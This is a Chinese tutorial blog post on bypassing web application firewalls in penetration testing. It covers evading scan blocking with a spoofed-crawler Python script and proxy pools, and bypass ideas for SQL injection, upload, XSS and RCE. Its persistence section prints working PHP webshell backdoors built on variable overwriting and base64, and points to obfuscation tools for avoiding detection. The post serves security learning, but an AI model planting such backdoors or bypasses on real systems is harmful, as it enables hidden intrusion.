思维导图:


一、信息收集

此处只针对对于目标网站直接扫描的信息收集讲解,其他辅助信息收集手段如:查旁站/识别cms等手段也不会遇到waf拦截。

1.安全狗—防ddos

cenos目前用的不熟练,于是我将服务器系统换成了winserver,搭建上web环境和安全狗,打开cc拦截开关,本地用目录扫描工具扫描后被拦截:

测试测试就行了,不要轻易把本机ip加进黑名单或者用7kbscan扫,否则远程连接直接就断了,反正会被waf狗自动拉黑,但是又不是那个黑白名单功能,我即使将ip加进白名单依旧无法连接上,反正就是waf搞的鬼(不过也不排除是阿里云服务器的内置规则)远程连接连不上,还得去控制台网页重连然后关闭安全狗才能连上!

2.绕过方法

我们可以:

  • 伪造user-agent头—UA头伪装为百度等搜索引擎爬虫的信息

因为大部分waf会默认允许这些搜索引擎批量请求爬取信息(否则网站就垫底没人认识了....)                        各大搜索引擎的User-Agent - iackjee - 博客园

可以用这款工具,但最好是会写自己的脚本,毕竟自己的用的更方便,工具修改的ua头有限制,而且没法自定义或者抓包。

import requests
import timeheaders = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Accept-Encoding': 'gzip, deflate, br','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6','Cache-Control': 'max-age=0','Connection': 'keep-alive','Cookie': 'PHPSESSID=4d6f9bc8de5e7456fd24d60d2dfd5e5a','sec-ch-ua': '"Chromium";v="92", " Not A;Brand";v="99", "Microsoft Edge";v="92"','sec-ch-ua-mobile': '?0','Sec-Fetch-Dest': 'document','Sec-Fetch-Mode': 'navigate','Sec-Fetch-Site': 'none','Sec-Fetch-User': '?1','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}for paths in open('top3000.txt'):url = "http://127.0.0.1/pikachu"paths = paths.replace('\n', '')urls = url + pathsproxy = {'http': '127.0.0.1:7777'}try:code = requests.get(urls, headers=headers, proxies=proxy).status_code# time.sleep(3)print(urls + '|' + str(code))except Exception as err:print('connect error')time.sleep(3)

py脚本用top3000.txt文件(字典)来跑,同时可以自己代理抓包修改数据包信息,数据包通过工具再发给服务器;更改ua头为爬虫头来防止被waf封ip:

  • 延时—设置访问间隔时间(防御规则就是短时间访问过大而判断为攻击的)

  • 代理池——http代理,钞能力,免费的自然美收费的稳定:通过调用接口或者脚本爬取到这些ip成字典来不同ip来请求;但waf也能识别出代理访问,不过多用来防cc攻击。

3.阿里云

听说绕过好像第一种方法改ua头不行,只能代理池或延时,阿里云设置规则是只要批量一扫就会挂1h;不过我也用的阿里云,测试后用那上边脚本跑了之后也没被拦截,甚至还没出现工具那样一扫就断连的情况,而且waf也没检测到这种批量扫描,可能是把waf绕过了,持观望态度。

4.宝塔

插件收费,也懒得搭建了,无法自己演示,规则确实比安全狗更严格。

waf规则都是写好的死的,我们可以思路打开,比如.bak后缀可以中间加空格或者截断或者编码等方法尝试绕过。

二、漏洞发现

1.触发waf

最常见的三个方法:

  1. 扫描/访问速度过快。
  2. 工具指纹,尤其awvs这些热门工具,waf都有指纹记录识别。
  3. 漏洞payload,之前学的这些漏洞的payload的关键字自然也在waf的拦截字典里。

2.代理池

1)免费代理池Proxy_pool项目搭建及使用解释:就是安装个redis数据库,然后开py脚本跑,之间还要调用api接口,将跑出来可以使用的ip写进数据库,之后我们提取出来就可以用,但是ip存活不了多久,更适合爬虫用。详细使用见项目:

   https://github.com/jhao104/proxy_pool
2)收费代理池:https://www.kuaidaili.com/

配置好代理和端口就行了,至于其怎么实现请求一次地址就换一个ip的原理目前水平先不用搞懂。

3.漏扫工具AWVS

我直接awvs什么没设置直接扫pikachu的sql注入界面,并没有被安全狗拦截,很迷,免费的waf就是不太行,都批量上payload了竟然还没批量扫目录时好用.....。

可以配合burp看扫描发送的payload放请求(开始的一段时间没有请求,之后又隔一段时间来一大批,很怪):

宝塔的防护扫描器如awvs机制(检测http信息,这条规则只是简单改ua头就可绕过):

作为强大的漏扫工具,自然也支持前边进行目录扫描时绕过waf的姿势:代理池/ua头/延时。其他更强大的功能如:登录/整个数据包构造/证书导入之后慢慢发掘吧........

4.工具缺点

不同工具扫描时的规则不一样,就拿验证响应为例:当工具被拦截后它只会看响应包是否符合自己源代码中写好的预期解,而判断不了是否被拦截了,只要不符合预期解时(此时可能被拦截了也可能工具误判)就直接判断为没有漏洞,这样就会出现很大失误;

但工具不开源的话我们是没办法修改源代码来修改规则的,总不能次次手动看响应是否是被拦截导致的或者次次抓包修改请求为自己的预期请求吧!甚至有的工具没法修改ua头的话(xray),总不能自己抓每个包修改ua头吧,请求速度也是如此;倘若开源我们就可以直接改代码二次开发来让其符合自己的需求来或者自己开发的工具绝对符合需求。

所以,那些自己开发出工具的才是真的大佬!自己开发的才是yyds。或者用多款不同工具来扫总有合适的数据包或者用小众的工具其不会被收集指纹拦截。

5.awvs+bp+xray

方法就是awvs+burp和burp+xray来实现。

6.awvs配代理池:很简单。

三、漏洞利用

1)SQL注入:

sqlmap的指纹记录在waf中,不光要代理池或延时,还要需要修改ua头:

以及各种用途的插件,比如修改xforward头的插件:

宝塔相对于安全狗功能确实更全,比如url防护(收费的确实更安全):

宝塔拦截界面:(我的安全狗就触发不了,跟假的waf似的)

常见方法/思路举例:参数污染、特殊字符混淆、mysql黑魔法、换行符等等,思路够“骚”waf就拦不住你。

之前写的博客:SQL注入之简单的waf绕过_qi_SJQ_的博客-CSDN博客

sqlmap之waf绕过_qi_SJQ_的博客-CSDN博客_sqlmap绕过waf

所以说那些基础的payload基本都会被过滤了,想绕过即难又不难,本质就是正则过滤嘛,一看该网站正则过滤有多严格,二看思路够不够“骚”。比如内联注入绕过检测/*就中间加个空格来绕过。前边学各种漏洞原理时也提过一些waf绕过手段,也没有万能的payload,只能逐个测试fuzzing。多看技术前沿文章多总结、积累。

2)文件上传:

之前博客提到的思路:数据溢出符号变异分号绕过换行绕过00截断重复数据等等,一个不行就下一个,渗透“测试”嘛,多测试测试,自己能想到的方法都不成功那就是无缘了.....

之前博客:文件上传漏洞(思路,绕过,修复)_qi_SJQ_的博客-CSDN博客_文件上传绕过方式

3)xss:

xss思路就更多了:标签语法替换、特殊符号干扰、垃圾数据溢出等等,那个靶场考验的不就是各种绕过过滤手段吗,就是简单版的waf。

自己博客:XSS漏洞学习笔记_qi_SJQ_的博客-CSDN博客_xss漏洞学习

文章:[翻译]绕过XSS检测机制-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

工具:xsstrike、xwaf(注入时用)

4)rce:

思路:加密解密绕过(常见方法不多:url与base64及进制和ascii、unicode;不可逆算法都不行)、异或/无字母参数绕过(p牛文章)、关键字绕过 、变量覆盖加请求方法等等。只要思路够开阔就有空子可钻。

 安全狗着实不行,根本不报,都在服务器命令执行了日志上啥也没有。本机搭建看看waf软件的防护规则,有了防护规则参考那离绕过就能更近一步了。

同时rce还要看php配置、phpinfo里是否禁用了那些函数。

四、权限控制

1.waf绕过简单过程

我们首先需要绕过扫描waf,之后利用漏洞,同时payload也要绕过waf,尤其shell怎么不被查杀到,而当利用漏洞拿到shell连接时又需要考虑能否连上,比如waf识别shell工具指纹或无法外网连接shell等等。

所以发现/利用一个漏洞不单单是网页源代码层面绕过就行的,还需要考虑绕过烦人的waf,需要先让payload不让waf拦截后再考虑是否可以当成源代码的exp之后再想办法回显等等。

2.绕过

权限维持也就是后门shell免杀,只要不被查杀到就达到目的了。

#Safedog 代码层手写及脚本绕过:
  • 变量覆盖
  • 加密混淆
  • 异或生成 

1)变量覆盖:

<?php
$a = $_GET['x'];
$$a= $_GET['y']; //此处先只看$a为b,前边再加上变量声明符$即$$a=$b,b变量由此产生并覆盖。
$b($_POST['z']);
?>//url?x=b&y=assert   POST传输z变量的即可。//$a=b->$$a=$b=assert->assert($_POST['z']);

这是php5.4版本下的,高版本好像不支持变量覆盖了。其他语言原理也差不多,安全狗也没有拦截我们输入的参数值,即使assert与phpinfo是敏感关键字。

虽然这个版本的安全狗不拦截,但是宝塔却会拦截我们的输入:

因此可以试试用下面这个方法。

加密传输 (不论base系列还是url编码等等加解密都可以试试):

<?php
$a = $_GET['x'];
$$a = $_GET['y'];
$b(base64_decode($_POST['z']));
?>

2)加密混淆:

思路: 既然可以加密传输,就会有其它加密的方法,就有了加密混淆使得 WAF 软件无法检测到关键字段同样达到 WAF 的绕过 。不光php有加密,其他语言的自然也有,需要自己寻找,比如广为人知的jsfuck,不公开的自然没的说。

PHP 混淆加密脚本下载地址: https://github.com/djunny/enphp

在线网站:PHP加密|PHP在线加密|PHP混淆 - EnPHP加密平台

这个加密后虽然看着很乱,但确实有用。(还得cmd配php环境我就没试验。。。)

3)借用在线API接口实现加密混淆:

在线网站:会员注册|php源码加密|www.PhpJiaMi.com

看着挺高级,但有的加密需要服务器安装相关php扩展才能识别并解密执行的,总之一堆乱码不会被被waf识别到后门。具体使用就自己参考它的使用说明吧。

4)异或加密:

GitHub - yzddmr6/as_webshell_venom: 免杀webshell无限生成工具蚁剑版

通过python对相关php代码进行异或运算,很强,通杀,可以自己修改代码。

3.工具

1)

2)双向加密:

相比于单向加密,双向加密传输就是发包之前已经加密了,并且从服务器传回来的数据也是加密的,这样绕过WAF的检测。

冰蝎的双向加密:

菜刀原理

先抓取菜刀连接webshell的数据包:

我们将数据包放到浏览器执行:

可以看到浏览器与菜刀结果差不多,所以原理就是数据包请求的内容,此为单向加密:

双向加密,请求和回显都是加密的,采用公私钥加密,回显的render界面明显与冰蝎界面不一样(burp没有私钥所以无法解密):

冰蝎还有其他后渗透的功能,很强大!

4.行为

自己写轮子:

有时虽然shell可以连上,但是却无法文件操作,这是由于行为被检测到了:可能是waf里有工具的指纹也可能是操作文件的数据包被检测到了。我用冰蝎连阿里云的服务器是,云盾就给我发了好几个预警短信....

因此,自己需要自己连shell执行命令,可以参考工具的加密方式来写python脚本来连或者浏览器来连,这种方法自然就不会被waf检测到工具的指纹了,就是命令执行的知识点,怎么遍历目录,怎么写文件等等,都可以解密出工具的请求代码来自己写。

渗透测试之waf绕过基础相关推荐

  1. 渗透测试之SQL注入基础

    渗透测试之SQL注入基础 SQL注入类型 按照数据类型类型来分类 按照执行效果来分类(页面回显效果) 按照数据提交的方式来分类 判断注入类型的方法 MySQL注入基础 联合查询注入 布尔注入 时间盲注 ...

  2. 【愚公系列】2023年05月 Web渗透测试之权限绕过攻击

    文章目录 前言 一.水平越权修改任意用户密码 二.垂直越权 前言 权限绕过攻击是一种攻击技术,在这种攻击中,攻击者试图通过欺骗系统或者其他授权实体,绕过安全控制以获得对某一系统.网络.应用或者数据的未 ...

  3. 工具|渗透利器之CrimeFlare、waf绕过脚本分享

    一.CrimeFlare 利用CrimeFlare查看受CloudFlare保护的网站背后真实IP的工具. 该工具的功能是在受CloudFlare保护的网站后面执行真正的IP搜索,生成的信息可用于进一 ...

  4. sql注入空格被过滤_网站渗透:SQL注入与WAF绕过思路分享

    一.前言 这个注入是之前做测试时发现的,但是测试的时候发现有防护,但是想想这么个小网站都绕不过,实在不应该啊.开始补充学习各种场景.各种waf绕过姿势,勉勉强强的成功执行我构造的SQL的语句.趁着还有 ...

  5. 【甄选靶场】Vulnhub百个项目渗透——项目二十四:MINU-1(WAF绕过,JWT爆破)

    Vulnhub百个项目渗透 Vulnhub百个项目渗透--项目二十四:MINU-1(WAF绕过,JWT爆破) 靶场地址

  6. 渗透测试之指纹识别(CMS、CDN、WAF)

    目录 什么是指纹识别: 1.cms指纹识别 2.cdn指纹识别: 3.WAF指纹识别: 什么是指纹识别: 通过关键特征,识别出目标的CMS系统.服务器.开发语言.操作系统.CDN.WAF的类别 版本等 ...

  7. 渗透测试-waf fuzz绕过技巧

    waf fuzz绕过技巧 0x00 知己知彼 常见 waf 收集 SecureSphere (Imperva) 西数WTS-WAF 安全狗 D盾 腾讯云 waf 阿里云云盾Web应用防火墙 云锁 UP ...

  8. tomcat temp 大量 upload 文件_渗透测试之文件上传漏洞总结

    文末下载上传环境源码 客户端 js检查 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 查看源代码可以看到有如下代码对上传文件类型进行了限制: 我们 ...

  9. web渗透测试之攻破登录页面

    web渗透测试之攻破登录页面 当我们在做渗透测试时,无论厂商项目还是src众测项目,都会遇到给一堆登录系统的URL,然后让我们自己去测,能不能进去全看天的状况,本文将讲一下怎么突破这种封闭的web系统 ...

最新文章

  1. 清华学霸震撼演讲:“你可曾为学习拼尽全力?”
  2. 初学Python——文件操作第三篇
  3. Occupancy Networks:基于学习函数空间的三维重建表示方法
  4. linux查看特定文件的位置
  5. AndroidStudio使用第三方jar包报错(Error: duplicate files during packaging of APK)
  6. python绘制动态模拟图-Python 模拟动态产生字母验证码图片功能
  7. Java web—Servlet的请求与响应
  8. c++ 顺序容器list的一个例子
  9. JavaScript(笔记)
  10. 什么是YARN?跟HBase和Spark比优势在哪?终于有人讲明白了
  11. deeplin显示安装空间不够_电视内存不够怎么办?一步到位来搞定
  12. apex创建快捷方式_盖伦下载的Origin平台、Apex游戏手动添加快捷方式
  13. CAD关于线型操作添加线型(com接口c#语言)
  14. 应对 勒索病毒 补丁、免疫工具、关闭445端口
  15. 启用IIS服务(运行中输入inetmgr打不开IIS管理器的解决办法)
  16. linux测试硬盘速度命令,如何测试Linux磁盘的读写速度
  17. 群晖设置php.ini,【入门普及贴】群晖NAS组装、洗白经验总结及分享
  18. 如何去实现机械灵巧手玩魔方和弹钢琴_我学会了玩魔方
  19. Uber H3 index 地图索引思考
  20. @Value为null问题排查及解决方法

热门文章

  1. Java图形化界面编程
  2. NumPy ndarray
  3. 史上最强Prompt攻略
  4. java字符串拼接的几种方式
  5. Android、Java 获取时间戳、年月日、时间戳转换为具体时间
  6. 浅析手机充电时不断重启
  7. JavaWeb之tomcat的使用
  8. 科学计数法和普通数字的相互转换
  9. uniapp 小程序定位无效问题解决之一
  10. 2013渣打科营编程马拉松赛样题